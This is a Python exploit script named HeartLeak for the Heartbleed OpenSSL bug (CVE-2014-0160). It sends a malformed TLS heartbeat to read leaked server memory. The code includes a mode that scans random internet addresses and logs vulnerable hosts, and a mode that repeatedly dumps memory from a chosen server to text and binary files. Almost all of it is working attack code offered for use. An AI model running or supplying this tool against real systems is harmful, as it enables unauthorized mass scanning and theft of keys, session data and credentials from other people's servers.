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HeartLeak.py
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HeartLeak.py
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#!/usr/bin/env python27
#=========================================================#
# [+] Title: HeartLeak (CVE-2014-0160) #
# [+] Script: HeartLeak.py #
# [+] Twitter: https://twitter.com/OffensivePython #
# [+] Blog: http://pytesting.blogspot.com #
#=========================================================#
import socket
import struct
import sys
import time
import random
import threading
from optparse import OptionParser
class heartleak(object):
def __init__(self, host, port=443, verbose=False):
try:
self.sick=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sick.connect((host, port))
except socket.error:
return None
self.hello="\x16\x03\x02\x00\xdc\x01\x00\x00\xd8\x03\x02\x53\x43\x5b\x90\x9d"
self.hello+="\x9b\x72\x0b\xbc\x0c\xbc\x2b\x92\xa8\x48\x97\xcf\xbd\x39\x04\xcc"
self.hello+="\x16\x0a\x85\x03\x90\x9f\x77\x04\x33\xd4\xde\x00\x00\x66\xc0\x14"
self.hello+="\xc0\x0a\xc0\x22\xc0\x21\x00\x39\x00\x38\x00\x88\x00\x87\xc0\x0f"
self.hello+="\xc0\x05\x00\x35\x00\x84\xc0\x12\xc0\x08\xc0\x1c\xc0\x1b\x00\x16"
self.hello+="\x00\x13\xc0\x0d\xc0\x03\x00\x0a\xc0\x13\xc0\x09\xc0\x1f\xc0\x1e"
self.hello+="\x00\x33\x00\x32\x00\x9a\x00\x99\x00\x45\x00\x44\xc0\x0e\xc0\x04"
self.hello+="\x00\x2f\x00\x96\x00\x41\xc0\x11\xc0\x07\xc0\x0c\xc0\x02\x00\x05"
self.hello+="\x00\x04\x00\x15\x00\x12\x00\x09\x00\x14\x00\x11\x00\x08\x00\x06"
self.hello+="\x00\x03\x00\xff\x01\x00\x00\x49\x00\x0b\x00\x04\x03\x00\x01\x02"
self.hello+="\x00\x0a\x00\x34\x00\x32\x00\x0e\x00\x0d\x00\x19\x00\x0b\x00\x0c"
self.hello+="\x00\x18\x00\x09\x00\x0a\x00\x16\x00\x17\x00\x08\x00\x06\x00\x07"
self.hello+="\x00\x14\x00\x15\x00\x04\x00\x05\x00\x12\x00\x13\x00\x01\x00\x02"
self.hello+="\x00\x03\x00\x0f\x00\x10\x00\x11\x00\x23\x00\x00\x00\x0f\x00\x01"
self.hello+="\x01"
self.hb="\x18\x03\x02\x00\x03\x01\xFF\xEC"
self.verbose=verbose
def receive(self, op):
data=''
chunk=''
typ, version, length = None, None, None
try:
data=self.sick.recv(5)
except socket.error:
return None, None, None
if data:
typ, version, length = struct.unpack('>BHH', data)
if typ==None:
return None, None, None
else:
if op==1: # handshake
data=self.sick.recv(length)
else: # heartbeat
# recveive all data sent by the server
while True:
try:
chunk = self.sick.recv(0xFFFF)
data+=chunk
except socket.error:
break
return typ, version, data
else:
return None, None, None
def handshake(self):
self.sick.send(self.hello) # send handshake
while True:
if self.verbose:
print("[+] Sending SSL Handshake")
typ, version, payload = self.receive(1)
if typ==None:
if self.verbose:
print("[-] Host doesn't support OpenSSL")
return None
if typ==22 and ord(payload[0])==0x0E:
if self.verbose:
print("[+] Received Hello back")
# Received hello back
break
return True
def heartbeat(self):
if self.verbose:
print("[+] Sending malicious heartbeat request")
self.sick.send(self.hb)
while True:
typ, version, payload = self.receive(2)
if typ==None or typ==21:
return False
if typ==24:
if len(payload)>3:
return payload
else:
return False
def destroy(self):
""" Close connection """
if self.verbose:
print("[+] Closing Connection")
self.sick.close()
def leakTest(hFile, host, port=443):
global n
sick=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sick.connect((host, port))
sick.close()
print("[+] %s supports SSL, trying to trigger the bug"%host)
target=heartleak(host)
if target and target.handshake():
if target.heartbeat():
print("-{#}-- %s is vulnerable -{#}--"%host)
if port==443:
hFile.write(host+'\r\n')
else:
hFile.write(host+":"+port+'\r\n')
n-=1
if n>0:
print("[+] Still looking for %d vulnerable hosts"%n)
target.destroy()
except socket.error:
sick.close()
pass
def scan(nhost, port, nthread):
hFile=open("heartleaked.log", "a")
global n
print("[+] Running a scan to find %d vulnerable host(s). Be patient!"%nhost)
n=nhost
while n>0:
try:
ip=randomHost()
try:
while threading.activeCount()>nthread:
time.sleep(5)
t=threading.Thread(target=leakTest, args=(hFile, ip, port))
t.start()
except:
time.sleep(5)
except KeyboardInterrupt:
print("[-] Cancelled due to keyboard interruption")
break
hFile.close()
return
def getStrings(data):
length=len(data)
printable=''
i=0
while i<length:
j=i
while ord(data[j])>31 and ord(data[j])<127 and j<length-1:
j+=1
if j-i>3: # if found a string of 4 bytes or more
printable+=data[i:j]+"\r\n"
i=j
else:
i+=1
return printable
def monitor(host, port):
print("-{# Sniffing data from %s"%host)
print("-{# Printable data will be stored in %s"%host+".txt")
print("-{# Raw data will be stored in %s"%host+".bin")
ascii=open(host+".txt", "a")
binary=open(host+".bin", "wb")
while True:
target=heartleak(host, port, verbose=True)
if target and target.handshake():
try:
leaked=target.heartbeat()
binary.write(leaked)
strings=getStrings(leaked)
ascii.write(strings)
print(strings)
time.sleep(10)
except KeyboardInterrupt:
target.destroy()
break
ascii.close()
binary.close()
def randomHost():
""" Generates a random IP address """
host=str(random.randint(0,255))
host+="."+str(random.randint(0,255))
host+="."+str(random.randint(0,255))
host+="."+str(random.randint(0,255))
return host
def main():
usage="Usage: %prog arg [options]\n"
usage+="Example:\n"
usage+=" %prog monitor --server=example.com\n"
usage+=" %prog scan --nhost=10 --threads=50\n"
parser=OptionParser(usage)
parser.add_option("-n", "--nhost", dest="nhost", type="int",
help="Number of Hosts", default=1)
parser.add_option("-t", "--threads", dest="nthread", type="int",
help="Number of threads (Default: 10 threads)",
default=10)
parser.add_option("-s", "--server", dest="host", type="string",
help="Target (IP Address) to monitor")
parser.add_option("-p", "--port", dest="port", type="int",
help="Port number (default: 443)", default=443)
options, args=parser.parse_args()
socket.setdefaulttimeout(10)
if len(args)>0:
port=options.port
if args[0]=="scan":
nhost=options.nhost
nthread=options.nthread
scan(nhost, port, nthread)
elif args[0]=="monitor" and options.host:
host=options.host
monitor(host, port)
else:
parser.print_help()
else:
parser.print_help()
if __name__=="__main__":
main()